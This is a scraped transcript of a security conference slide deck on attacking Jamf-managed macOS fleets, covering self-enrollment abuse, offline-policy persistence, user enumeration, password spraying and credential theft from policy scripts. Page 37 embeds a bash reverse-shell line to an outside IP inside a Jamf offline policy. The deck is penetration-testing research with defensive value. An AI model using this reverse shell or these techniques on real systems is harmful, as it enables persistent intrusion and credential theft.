Upload File

an attacker's perspective on jamf configurations · delivery exploit persistence c2 internal...

  • Home
  • Documents
  • AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
60
Luke Roberts Calum Hall AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS

Upload: others

Post on 26-Aug-2020

14 views

Category:

Documents


0 download

Report

TRANSCRIPT

Page 1: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Luke RobertsCalum Hall

AN ATTACKER'S PERSPECTIVE

ON JAMF CONFIGURATIONS

Page 2: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

HOW WE COMPROMISED YOUR MACOSESTATE …

Page 3: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

IN 5 MINUTES…

Page 4: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

FROM THE INTERNET!

Page 5: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

WHO ARE WE?

Calum Hall@_calumhall

Luke Roberts@rookuu_

Page 6: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

MACOSENVIRONMENTS

Page 7: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

SELF MANAGED

§ Common with developers

§ Lack of security controls

§ Difficult to integrate

CUSTOMENVIRONMENTS

§ Can be tuned to your needs

§ Extensive setup

§ High maintenance

§ Tech companies like Google, Facebook

IT MANAGEMENTSOLUTIONS

§ 3rd party software: Jamf, Parallels

§ Deployment and management

§ Mobile Device Management (MDM)

Page 8: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

“THE STANDARD FOR APPLE IN THE ENTERPRISE”

Page 9: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

1

DEPLOYMENT

3

APP MANAGEMENT

5

SELF SERVICE

2

DEVICE MANAGEMENT

4

INVENTORY

6

SECURITY

Page 10: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

ATTACKING JAMFJAMF INTERNALSJAMF ATTACK TOOLKIT

AGENDA

Page 11: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

JAMFINTERNALS

Page 12: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Jamf Software Server (JSS)§ Web application that functions as the administrative core of Jamf Pro.

Infrastructure Manager§ LDAP proxy between external JSS and an organisations’ directory services

Jamf Agent§ Command line utility that administrates the managed device.

Self-Service§ macOS application that allows users to browse and install or run configuration profiles, policies and apps.

OVERVIEWOF COMPONENTS

https://resources.jamf.com/documents/products/documentation/jamf-pro-10.19.0-administrators-guide.pdf

https://resources.jamf.com/documents/products/documentation/jamf-pro-10.19.0-administrators-guide.pdf
Page 13: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

WHAT ARE WE ATTACKING?

Page 14: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

TRADITIONALDEPLOYMENT

Page 15: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

CLOUDDEPLOYMENT

Page 16: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

© F-SECURE CONSULTING

VSON-PREM CLOUD

What if it breaks?

How do I configure it securely?

How much control do I have?

Who is going to ensure it’s patched?

Ease of deployment

Internet facing attack surface

Page 17: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

DEVICEENROLLMENT

Pre-Stage (DEP)

QuickAdd PKG

PKG

Self-enrollment

Recon

Page 18: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

JAMFAGENT

EnrollmentPeriodic Check-in

Checks device information

Actions to performon device

ExecuteJSS Instructions

<?device information/>

<device><uuid>A6A978CE-D6F0-5EA8-8C70-EB0CE4FC8A8A</uuid>...

</device>...<commandData><checkForPolicies><ns2:username>admin</ns2:username>

<ns2:trigger>CLIENT_CHECKIN</ns2:trigger><ns2:id>0</ns2:id><ns2:processor>x86_64</ns2:processor><ns2:day>Thu</ns2:day><ns2:hour>16</ns2:hour><ns2:minute>44</ns2:minute>

<ns2:reportedIP>10.12.254.55</ns2:reportedIP></checkForPolicies>

</commandData></content>

</ns2:jamfMessage>

Page 19: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

JAMFAGENT

EnrollmentPeriodic Check-in

Checks device information

Actions to performon device

ExecuteJSS Instructions

<?device information/>

<?jamf instructions/>

<ns2:jamfMessage><ns2:policies>

<ns2:policy><ns2:id>6</ns2:id><ns2:name>objsee-example</ns2:name> <ns2:availableOffline>false</ns2:availableOffline> <ns2:scripts>

<ns2:script><ns2:filename>

objsee-script-example</ns2:filename><ns2:contents>

#!/bin/bashecho "Hello World" > /tmp/obts

</ns2:contents></ns2:script>

</ns2:scripts>

</ns2:policy></ns2:policies></ns2:jamfMessage>

Page 20: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

CONFIGURINGJAMF

Configuration Items

Uses MDM to push .mobileconfig files

Extension Attributes

Indiscriminate Data Retrieval

Policies (and Scripts)

Performs a Targeted Action on a Device

Page 21: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

ADMINISTRATIVETOOLING

SSH

Page 22: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

ATTACKINGJAMF

Page 23: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

KILLCHAIN

LATERAL MOVEMENT

OBJECTIVE

RECON

DELIVERY

EXPLOIT PERSISTENCE

C2INTERNAL

RECON

Self-enrollment Offline Policies SSH HijackingPolicy Abuse

JSS OSINT Execution via JSSExtended Attributes User Object Enumeration

Page 24: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

LATERAL MOVEMENT

OBJECTIVEDELIVERY

EXPLOIT PERSISTENCE

C2INTERNAL

RECON

RECON

Page 25: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 26: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 27: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 28: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

RECON

LATERAL MOVEMENT

OBJECTIVEEXPLOIT PERSISTENCE

C2INTERNAL

RECONDELIVERY

Page 29: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

SELFENROLLMENT

“… allows users to initiate the enrollment process on their own.”

https://<name>.jamfcloud.com/enroll

Page 30: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

SELF ENROLLMENT

1 https://<name>.jamfcloud.com/enroll

2 John Smith

3 🤔

Page 31: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

302 200

SELF ENROLLMENT

Page 32: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

SELF ENROLLMENT

???

VPNApps Files

Page 33: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

RECON

LATERAL MOVEMENT

OBJECTIVEPERSISTENCE

C2INTERNAL

RECONDELIVERY

EXPLOIT

Page 34: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

CODE EXECUTION

Page 35: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 36: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

RECON

LATERAL MOVEMENT

OBJECTIVEEXPLOIT

C2INTERNAL

RECONDELIVERY

PERSISTENCE

Page 37: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

© F-SECURE CONSULTING

§ Jamf executes these when JSS is unavailable

§ Execution frequency can be set

(startup, period etc.)

§ Requires admin privileges to write

§ No validation of policy contents

OFFLINE POLICIES

<policies><policy>

<policyResponseUUID>7dc5db3c-5491-40ee-94d3-00b9f4d0bfbb</policyResponseUUID>

<id>3</id><name>offline-script-example</name><availableOffline>true</availableOffline>

...<scripts>

<script><filename>offline-file-

example</filename><osRequirement></osRequirement><priority>After</priority><parameters>

<parameter></parameter><parameter></parameter>

</parameters><contents>

#!/bin/bash/bin/bash &gt;&amp; /dev/tcp/172.16.132.1/8087 0&gt;&amp;1 &amp; disown

</contents></script>

</scripts>... </policy>

Page 38: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

RECON

LATERAL MOVEMENT

OBJECTIVEEXPLOIT PERSISTENCE

C2DELIVERY

INTERNAL RECON

Page 39: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

USER OBJECT ENUMERATION§ Devices can be enrolled with local JSS credentials

§ Assign AD user for inventory purposes

POST /enroll/enroll.ajax HTTP/1.1Host: jss.f-secure.com:8443Accept: */*X-Requested-With: XMLHttpRequestCookie: JSESSIONID=abcdef

username=a

a

Page 40: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

RECON

OBJECTIVEEXPLOIT PERSISTENCE

C2INTERNAL

RECONDELIVERY

LATERAL MOVEMENT

Page 41: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

§ “Account to use for managing computers enrolled by user-initiated enrollment”

§ Used to remotely manage devices

§ Passwords can be randomly generated or set

SHAREDMANAGEMENT CREDENTIALS

Page 42: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

§ Remote uses this account for administration over SSH

§ Alter SSH binary?

§ Rogue PAM modules?

§ Hijack SSH service?

SHARED MANAGEMENTCREDENTIALS

👌§ Password spray across macOS estate

Page 43: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

POLICYABUSE

LAPS.sh

Page 44: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Plaintext Credentials in scripts!

POLICYABUSE

LAPS.sh

Page 45: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

POLICYABUSE

LAPS.sh

/Library/Application Support/JAMF/tmp

Page 46: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Script Argument Edition

POLICYABUSE

LAPS.sh

Page 47: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

POLICYABUSE

ps aux | grep –i jamf | grep –i path

LAPS.sh

Script Argument Edition

Page 48: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Why not both?

POLICYABUSE

2_Security_Audit_Compliance_API.sh

Page 49: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

© F-SECURE CONSULTING

HOW DEEP DOES THE RABBIT HOLE GO?

SPOILER ALERTWE’RESTILL

FALLING

Page 50: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Topic of earlier examples

Page 51: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Jamf Resources: Community Uploaded Files

Page 52: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 53: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 54: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 55: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Extension Attributes can be misconfigured in the same way!

Page 56: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

JAMFATTACK TOOLKIT

Page 57: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

1

2

3

4

JamfSniper: Password sprays either the JSS enrolment portal or the API.

JamfEnumerator: Queries LDAP user object API to enumerate all user objects in targets directory service.

JamfExplorer: Listens for executing policies and extension attributes to obtain insecurely secured credentials

JamfDumper: Dumps scripts, policies and extension attributes to disk once JSS API access has been obtained.

Page 58: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 59: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution
Page 60: AN ATTACKER'S PERSPECTIVE ON JAMF CONFIGURATIONS · DELIVERY EXPLOIT PERSISTENCE C2 INTERNAL RECON Self-enrollment Offline Policies SSH Hijacking Policy Abuse JSS OSINT Execution

Jamf Pro Installation and Configuration Guide for Linux...Jamf Pro Installer for Linux The Jamf Pro Installer for Linux is a .run file that allows you to install and upgrade Jamf Pro

SPONSOR PROSPECTUS - Jamf

Apple Security Checklist Companion - JAMF Software

Jamf Pro Installation and Configuration Guide for Linux€¦ · The Jamf Pro server is a web app that functions as the administrative core of Jamf Pro. The Jamf Pro server allows

The Casper Suite - Welcome to JAMF Software | JAMF Software

JAMF Client Mgt White Paper

OSINT Thomas Quig

A Migration Guide - Jamf

Security Overview - Jamf · Mac, iPhone, iPad, and Apple TV devices, and personally owned iOS devices. Jamf Pro includes the following components: The Jamf Pro server (formerly the

State of the Art Security from an Attacker's Viewpoint State of the Art Security from an Attacker's Viewpoint Ivan Arce · Gerardo Richarte Core Security

Manually Installing the JAMF Software Server

Cisco IOS from an Attacker's Point of View - Windows Security

Threat Intelligence and OSINT - Threat Intelligence and OSINT - 64 hours.pdfThreat Intelligence and OSINT Description Open-source intelligence (OSINT) covers the techniques and procedures

Jamf Pro Installation and Configuration Guide for Mac Upgrading Jamf Pro 19 Setup 20 Setting Up Jamf Pro 21 Jamf Pro User Accounts and Groups 25 Activation Code 26 Integrating with

Osint council decision

Managing Certificates with Jamf

OSINT –Open Source Intelligence€¦ · OSINT –Origins •The term 'OSINT' originates from Security Services •The practice of using OSINT to build intelligence is not new –Italy:

An Attacker's Day into Human Virology - Black Hat

EMERGING TRENDS AND ISSUES OPEN SOURCE INTELLIGENCE (OSINT ... · OSINT Online 1 Social Media and Online Due Diligence Cynthia Hetherington Hetheringtongroup.com OSINT Online Social

Osint steele osint for handbook 3.3

Open Source Intelligence (OSINT) for Network Defenders Source Intelligence (OSINT...• OSINT from VirusTotal, Hybrid Analysis, Cisco Talos, Pastebin, and Malware Traffic Analysis

A Migration Guide for - Jamf

ECMAScript 6 from an Attacker's Perspective - NULLCON · ECMAScript 6 from an Attacker's Perspective Breaking Frameworks, Sandboxes, and everything else ... ECMA-377 – Holographic

JAMF Software Server Installation and Configuration Guide for … · 2016-08-15 · JAMF Software Server (JSS), and JAMF Distribution Server (JDS) instances. JAMF Software Server

OPEN-SOURCE INTELLIGENCE OSINT OSINT - OWASPOpen-Source Intelligence (OSINT) Fields and Sectors where OSINT is mostly required. Government, Finance, Telecom, Critical Infrastructure,

Ghid osint en

Reduce the Attacker's ROI with Collaborative Threat Intelligence

Jamf Pro Installation and Configuration Guide for Windows · Jamf Pro Server Tools Jamf Pro Server Tools allows you to back up and restore the Jamf Pro database. It also allows you

OSINT and beyond

JAMF User Group September 2015

Scientific Approach on OSINT Training Program Development ...€¦ · 2 Abstract – OSINT – Open Source Intelligence OSINT stands for the collection and analysis of publicly available

JAMF Software Brand Guidelines · JAMF Software Brand Guidelines Section 1 Introduction Page 3 Introduction At JAMF Software, our dedication is to achieving ... The Casper Suite identity

Osint mmdss07 best-osi_01

Offensive OSINT

Ecowarn osint refresher_draft17_feb12